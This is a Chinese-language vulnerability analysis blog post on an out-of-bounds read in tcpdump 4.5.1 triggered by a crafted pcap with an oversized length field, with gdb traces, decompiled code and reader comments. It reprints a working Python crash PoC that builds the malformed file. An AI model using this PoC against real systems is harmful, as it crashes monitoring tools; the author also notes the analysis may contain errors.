tcpdump 4.5.2拒绝服务漏洞

转载请注明出处

*20200911update:本篇分析文章为笔者入门初期分析,分析有错误的地方请见谅,差异对比请参考文章:https://bbs.pediy.com/thread-261984.htm *

漏洞说明


软件下载:
https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz

PoC:

from subprocess import call
from shlex import split
from time import sleep
 
 
def crash():
 
    command = 'tcpdump -r crash'
 
    buffer     =   '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
    buffer     +=  '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
    buffer     +=  '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
    buffer     +=  '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
    buffer     +=  "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
    buffer     +=  "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
    buffer     +=  '\x00\x00\x00\x00\x01\x03\x03\x04'
 
 
    with open('crash', 'w+b') as file:
        file.write(buffer)
 
    try:
        call(split(command))
        print("Exploit successful!             ")
 
    except:
        print("Error: Something has gone wrong!")
 
 
def main():
 
    print("Author:   David Silveiro                           ")
    print("   tcpdump version 4.5.1 Access Violation Crash    ")
 
    sleep(2)
 
    crash()
 
 
if __name__ == "__main__":
    main()

测试环境:
kali 2.0 x86

调试软件:
gdb with peda


漏洞复现


这是一个很有意思的漏洞,tcpdump在处理特殊的pcap包的时候,由于对于数据包传输数据长度没有进行严格的控制,导致在连续读取数据包中内容超过一定长度后,会读取到无效的内存空间,从而导致拒绝服务的发生,对于这个漏洞,需要首先对pcap包的结构进行一定的分析,才能够最后分析出漏洞的成因,下面对此漏洞进行详细分析。

首先通过gdb运行tcpdump,利用PoC生成存在问题的pcap包,用-r参数打开,tcpdump崩溃,到达漏洞触发位置。

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x5 
EBX: 0x800f2d18 --> 0xf2c10 
ECX: 0xbfffdfaf --> 0x30303000 ('')
EDX: 0xbfffdfc9 ("......")
ESI: 0x107bd 
EDI: 0x801c1085 --> 0xff000000 
EBP: 0x0 
ESP: 0xbfffdf5c --> 0x801c2148 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...)
EIP: 0x8001e612 (movzx  edi,BYTE PTR [edi+esi*2+0x1])
EFLAGS: 0x210296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8001e607:  mov    DWORD PTR [esp+0xc],edx
   0x8001e60b:  sub    esp,0x4
   0x8001e60e:  movzx  ebp,BYTE PTR [edi+esi*2]
=> 0x8001e612:  movzx  edi,BYTE PTR [edi+esi*2+0x1]
   0x8001e617:  mov    eax,ebp
   0x8001e619:  mov    edx,edi
   0x8001e61b:  mov    BYTE PTR [esp+0x16],al
   0x8001e61f:  mov    BYTE PTR [esp+0x17],dl
[------------------------------------stack-------------------------------------]
0000| 0xbfffdf5c --> 0x801c2148 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...)
0004| 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f 
0008| 0xbfffdf64 --> 0x5 
0012| 0xbfffdf68 --> 0xbfffdfaa (" 0000")
0016| 0xbfffdf6c --> 0xbfffdfc9 ("......")
0020| 0xbfffdf70 --> 0xb058 
0024| 0xbfffdf74 --> 0xbfffdf96 (" 0000 0000 0000 0000 0000")
0028| 0xbfffdf78 --> 0x7ffffff9 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x8001e612 in ?? ()

此时指针位置读取了edi+esi*2+1的内容,这个内容引用的是无效地址指针,可见可能是越界读取造成的这个原因,稍后会进行分析,通过bt回溯一下调用情况。

gdb-peda$ bt
#0  0x8001e612 in ?? ()
#1  0x8001e7da in ?? ()
#2  0x80013677 in ?? ()
#3  0x8001ab11 in ?? ()
#4  0x80013f65 in ?? ()
#5  0xb7dc6a18 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#6  0xb7db79c3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#7  0x80012621 in main ()
#8  0xb7c19a63 in __libc_start_main (main=0x800112a0 <main>, argc=0x3, 
    argv=0xbffff4e4, init=0x80089310, fini=0x80089380, 
    rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbffff4dc) at libc-start.c:287
#9  0x80013461 in ?? ()

可见从main函数开始进行了连续的函数调用,这里把执行结果贴一下,由于中间读取量很大,因此只留开头和结尾部分,中间内容跳过,tcpdump读取的内容。

gdb-peda$ run -r crash
Starting program: /usr/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
05:06:08.000000 IEEE 802.15.4 Beacon packet 
    0x0000:  0000 00ff ffff ff00 0000 0000 0000 0000  ................
    0x0010:  0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x0020:  0000 0000 0000 0000 0000 0000 0000 00a0  ................
    0x0030:  5ada b700 0000 0011 0000 00c8 1b1c 80f8  Z...............
    0x0040:  191c 8000 0000 0039 0000 0060 111c 8000  .......9...`....
    0x0050:  0000 0000 0000 0001 0000 0001 0000 0001  ................
    0x0060:  0000 0000 0000 0000 0000 006d 646e 7334  ...........mdns4
    0x20ed0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x20ee0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x20ef0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x20f00:  0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x20f10:  0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x20f20:  0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x20f30:  0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x20f40:  0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x20f50:  0000 0000 0000 0000 0000 0000 0000 0000  ................

漏洞分析


首先来分析一下pcap包的格式,首先是pcap文件头的内容,在.h有所定义,这里将结构体以及对应变量含义都列出来。

struct pcap_file_header {
        bpf_u_int32 magic;
        u_short version_major;
        u_short version_minor;
        bpf_int32 thiszone;     /* gmt to local correction */
        bpf_u_int32 sigfigs;    /* accuracy of timestamps */
        bpf_u_int32 snaplen;    /* max length saved portion of each pkt */
        bpf_u_int32 linktype;   /* data link type (LINKTYPE_*) */
};
看一下各字段的含义:
 magic:   4字节 pcap文件标识 目前为“d4 c3 b2 a1”
 major:   2字节 主版本号     #define PCAP_VERSION_MAJOR 2
 minor:   2字节 次版本号     #define PCAP_VERSION_MINOR 4
 thiszone:4字节 时区修正     并未使用,目前全为0
 sigfigs: 4字节 精确时间戳   并未使用,目前全为0
 snaplen: 4字节 抓包最大长度 如果要抓全,设为0x0000ffff(65535),
          tcpdump -s 0就是设置这个参数,缺省为68字节
 linktype:4字节 链路类型    一般都是1:ethernet

这个位置不重要,接下来看数据包部分。

struct pcap_pkthdr {
        struct timeval ts;      /* time stamp */
        bpf_u_int32 caplen;     /* length of portion present */
        bpf_u_int32 len;        /* length this packet (off wire) */
};
struct timeval {
        long            tv_sec;         /* seconds (XXX should be time_t) */
        suseconds_t     tv_usec;        /* and microseconds */
};
 ts:    8字节 抓包时间 4字节表示秒数,4字节表示微秒数
 caplen:4字节 保存下来的包长度(最多是snaplen,比如68字节)
 len:   4字节 数据包的真实长度,如果文件中保存的不是完整数据包,可能比caplen大

其中len变量是值得关注的,因为在crash文件中,对应len变量的值为

00 3C 9C 37

这是一个很大的值,读取出来就是379C3C00,数非常大,实际上在wireshark中打开这个crash文件,就会报错,会提示这个数据包的长度已经超过了范围,而换算出来的长度就是379C3C00,这是触发漏洞的关键。

接下来,从main函数开始跟进这个漏洞的触发过程。

gdb-peda$ run -r crash
Starting program: /usr/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x800f2d18 --> 0xf2c10 
ECX: 0x12 
EDX: 0x801c1070 --> 0x600ff40 
ESI: 0x801bf440 --> 0x0 
EDI: 0xfffffff3 
EBP: 0x0 
ESP: 0xbfffe160 --> 0x801bf440 --> 0x0 
EIP: 0x8001ab0b (call   DWORD PTR [esi+0xc4])
EFLAGS: 0x200296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8001ab05:  push   edi
   0x8001ab06:  push   DWORD PTR [esp+0x14]
   0x8001ab0a:  push   esi
=> 0x8001ab0b:  call   DWORD PTR [esi+0xc4]
   0x8001ab11:  add    esp,0x10
   0x8001ab14:  mov    eax,DWORD PTR [esp+0x10]
   0x8001ab18:  add    esp,0x2c
   0x8001ab1b:  pop    ebx
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbfffe160 --> 0x801bf440 --> 0x0 
0004| 0xbfffe164 --> 0x801c1085 --> 0xff000000 
0008| 0xbfffe168 --> 0xfffffff3 
0012| 0xbfffe16c --> 0x1 
0016| 0xbfffe170 --> 0xbfffe1d0 --> 0xbfffe21c --> 0x8000 
0020| 0xbfffe174 --> 0xb7fecc9f (<_dl_fixup+223>:   sub    esp,0x14)
0024| 0xbfffe178 --> 0xb7fdbd08 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...)
0028| 0xbfffe17c --> 0x801c1085 --> 0xff000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x8001ab0b in ?? ()

首先会跟踪到一处call调用,这个call调用处于函数sub_1A950中

unsigned int __cdecl sub_1A950(int a1, int a2, int a3)
{
    ……
LABEL_20:
      v3 -= 3;
      v29 = *(_BYTE *)(a3 + 2);
      v24 = a3 + 3;
      (*(void (__cdecl **)(int, const char *, char *))(a1 + 204))(
        a1,
        "IEEE 802.15.4 %s packet ",
        off_E4040[*(_BYTE *)a3 & 7]);
      v10 = a3;
      if ( !*(_DWORD *)(a1 + 56) )
      {
      ……
      LABEL_23:
  result = 0;
  if ( !*(_DWORD *)(a1 + 132) )
  {
    (*(void (__cdecl **)(int, int, int))(a1 + 196))(a1, v24, v11);//key word
    result = 0;
  }
  return result;
}

这个函数会打印注入IEEE 802.15.4这类内容,观察之前触发崩溃的打印内容,就是在输出数据包内容前的内容,可见这里会对数据包中传输的数据类型进行一些判断,之后打印,随后会到达我标记为key word的位置,这个地方会动态调用函数。

函数内容就是我之前跟踪到的call内容,直接跟进去,观察内层逻辑。

int __cdecl sub_13650(int a1, int a2, unsigned int a3)
{
  return sub_1E7C0(a1, (int)"\n\t", a2, a3);
}

内层函数中,会增加一个参数,然后直接调用sub_1E7C0,这个函数至关重要。跟入这个函数连续跟踪,会发现进入一处循环。

Breakpoint 1, 0x8001e5f9 in ?? ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x7 
EBX: 0x800f2d18 --> 0xf2c10 
ECX: 0xbfffdfb9 --> 0xd0bfff00 
EDX: 0xbfffdfcd --> 0x801bee 
ESI: 0x7 
EDI: 0xffffffdf 
EBP: 0xffffffdf 
ESP: 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f 
EIP: 0x8001e5f9 (cmp    esi,DWORD PTR [esp+0x18])
EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8001e5f0:  add    ecx,0x5
   0x8001e5f3:  add    edx,0x2
   0x8001e5f6:  add    esi,0x1
=> 0x8001e5f9:  cmp    esi,DWORD PTR [esp+0x18]
   0x8001e5fd:  je     0x8001e6e0
   0x8001e603:  mov    edi,DWORD PTR [esp+0x1c]
   0x8001e607:  mov    DWORD PTR [esp+0xc],edx
   0x8001e60b:  sub    esp,0x4
[------------------------------------stack-------------------------------------]
0000| 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f 
0004| 0xbfffdf64 --> 0x7 
0008| 0xbfffdf68 --> 0xbfffdfb4 (" 0000")
0012| 0xbfffdf6c --> 0xbfffdfcb --> 0x1bee2e2e 
0016| 0xbfffdf70 --> 0xb058 
0020| 0xbfffdf74 --> 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000")
0024| 0xbfffdf78 --> 0x7ffffff9 
0028| 0xbfffdf7c --> 0x801c1085 --> 0xff000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x8001e5f9 in ?? ()
gdb-peda$ c
Continuing.
05:06:08.000000 IEEE 802.15.4 Beacon packet 
[----------------------------------registers-----------------------------------]
EAX: 0x44 ('D')
EBX: 0x800f2d18 --> 0xf2c10 
ECX: 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000 0000")
EDX: 0xbfffdfbf ('.' <repeats 16 times>)
ESI: 0x8 
EDI: 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000 0000")
EBP: 0xbfffdfbf ('.' <repeats 16 times>)
ESP: 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f 
EIP: 0x8001e5f9 (cmp    esi,DWORD PTR [esp+0x18])
EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8001e5f0:  add    ecx,0x5
   0x8001e5f3:  add    edx,0x2
   0x8001e5f6:  add    esi,0x1
=> 0x8001e5f9:  cmp    esi,DWORD PTR [esp+0x18]
   0x8001e5fd:  je     0x8001e6e0
   0x8001e603:  mov    edi,DWORD PTR [esp+0x1c]
   0x8001e607:  mov    DWORD PTR [esp+0xc],edx
   0x8001e60b:  sub    esp,0x4
[------------------------------------stack-------------------------------------]
0000| 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f 
0004| 0xbfffdf64 --> 0x0 
0008| 0xbfffdf68 --> 0xbfffdfb9 (" 0000")
0012| 0xbfffdf6c --> 0xbfffdfcd --> 0x2e2e ('..')
0016| 0xbfffdf70 --> 0xb058 
0020| 0xbfffdf74 --> 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000 0000")
0024| 0xbfffdf78 --> 0x7ffffff9 
0028| 0xbfffdf7c --> 0x801c1085 --> 0xff000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x8001e5f9 in ?? ()

可以看到,在连续跟踪的这个过程中,esi寄存器的值会不断加1,而随后会连续读取两个字节的内容,其实也就是之前提到的edi+esi*2+1。

那么实际上观察一下edi的值,其实edi的值就是从数据包中读取内容到内存空间的起始地址,esi相当于一个计数器,来看一下IDA的伪代码逻辑。

int __cdecl sub_1E570(int a1, int a2, int a3, unsigned int a4, int a5)
{
  int v5; // esi@1
  char *v6; // edx@1
  int v7; // ecx@1
  int v8; // edi@5
  char v9; // al@5
  char v10; // al@7
  char *v11; // edi@11
  int result; // eax@14
  char v13; // bp@16
  char *v14; // ST2C_4@16
  int v15; // ST28_4@16
  char v16; // si@16
  unsigned int v17; // [sp+0h] [bp-1A8h]@1
  int v18; // [sp+4h] [bp-1A4h]@5
  char *v19; // [sp+8h] [bp-1A0h]@5
  char v20; // [sp+Eh] [bp-19Ah]@5
  char v21; // [sp+Fh] [bp-199h]@5
  char v22[41]; // [sp+32h] [bp-176h]@1
  char v23; // [sp+5Bh] [bp-14Dh]@1
  int v24; // [sp+188h] [bp-20h]@1

  v5 = 0;
  v17 = 0;
  v24 = *MK_FP(__GS__, 20);
  v6 = &v23;
  v7 = (int)v22;
  while ( v5 != a4 >> 1 )
  {
    v19 = v6;
    v8 = *(_BYTE *)(a3 + 2 * v5 + 1);
    v20 = *(_BYTE *)(a3 + 2 * v5);
    v21 = *(_BYTE *)(a3 + 2 * v5 + 1);//key word  
    v18 = v7;
    __snprintf_chk(v7, &v22[-v7 + 41], 1, 41, " %02x%02x", (unsigned __int8)v20);
    v9 = 46;
    if ( (unsigned int)(unsigned __int8)v20 - 33 <= 0x5D )
      v9 = v20;
    *v19 = v9;
    v10 = 46;
    if ( (unsigned int)(v8 - 33) <= 0x5D )
      v10 = v21;
    ++v17;
    v19[1] = v10;
    if ( v17 <= 7 )

这里提取了部分内容,重要的内容要看一下v20和v21变量,这个就是连续读取edi+esi*2+1的内容,而a3就是读取的数据包内容,v5初始值为0,是计数器,随后会通过snprintf连续读取两个值进行打印,while循环就是判断到达包长的最大值。

这个包长就是通过之前分析到的len获得,但是仔细分析之后发现,通过len判断的这个长度并没有进行控制,如果是自己构造的一个超长len的数据包,则会连续读取到不可估计的值。

通过查看edi的值来看一下这个内存到底开辟到什么位置。

gdb-peda$ x/10000000x 0x801c1085
0x801e1fe5: 0x00000000  0x00000000  0x00000000  0x00000000
0x801e1ff5: 0x00000000  0x00000000  Cannot access memory at address 0x801e2000

可以看到,到达801e2000附近的时候,就是无法读取的无效地址了,那么初始值为801c1085,用两个值相减。

801e1ff5+8+8-801c1085 = 20f80

因为一次读取两个字节,那么循环计数器就要除以2,最后结果为107b8,来看一下到达拒绝服务位置读取的长度。

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x5 
EBX: 0x800f2d18 --> 0xf2c10 
ECX: 0xbfffdfaf --> 0x30303000 ('')
EDX: 0xbfffdfc9 ("......")
ESI: 0x107bd 
EDI: 0x801c1085 --> 0xff000000 
EBP: 0x0 
ESP: 0xbfffdf5c --> 0x801c2148 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...)
EIP: 0x8001e612 (movzx  edi,BYTE PTR [edi+esi*2+0x1])

107bd,正是不可读取内存空间的地址,因此造成拒绝服务,总结一下整个漏洞触发过程,首先tcpdump会读取恶意构造的pcap包,在构造pcap包的时候,设置一个超长的数据包长度,tcpdump会根据len的长度去读取保存在内存空间数据包的内容,当引用到不可读取内存位置时,会由于引用不可读指针,造成拒绝服务漏洞。

Comments
Write a Comment
  • 大佬,tcpdump下载下来是一个c文件集合,怎么编译呢?谢谢

    • k0shl reply

      @菜鸡中的战斗鸡 gcc

    • k0shl reply

      @@菜鸡中的战斗鸡 不好意思,看错了,你看下有没有makefile,直接make && make install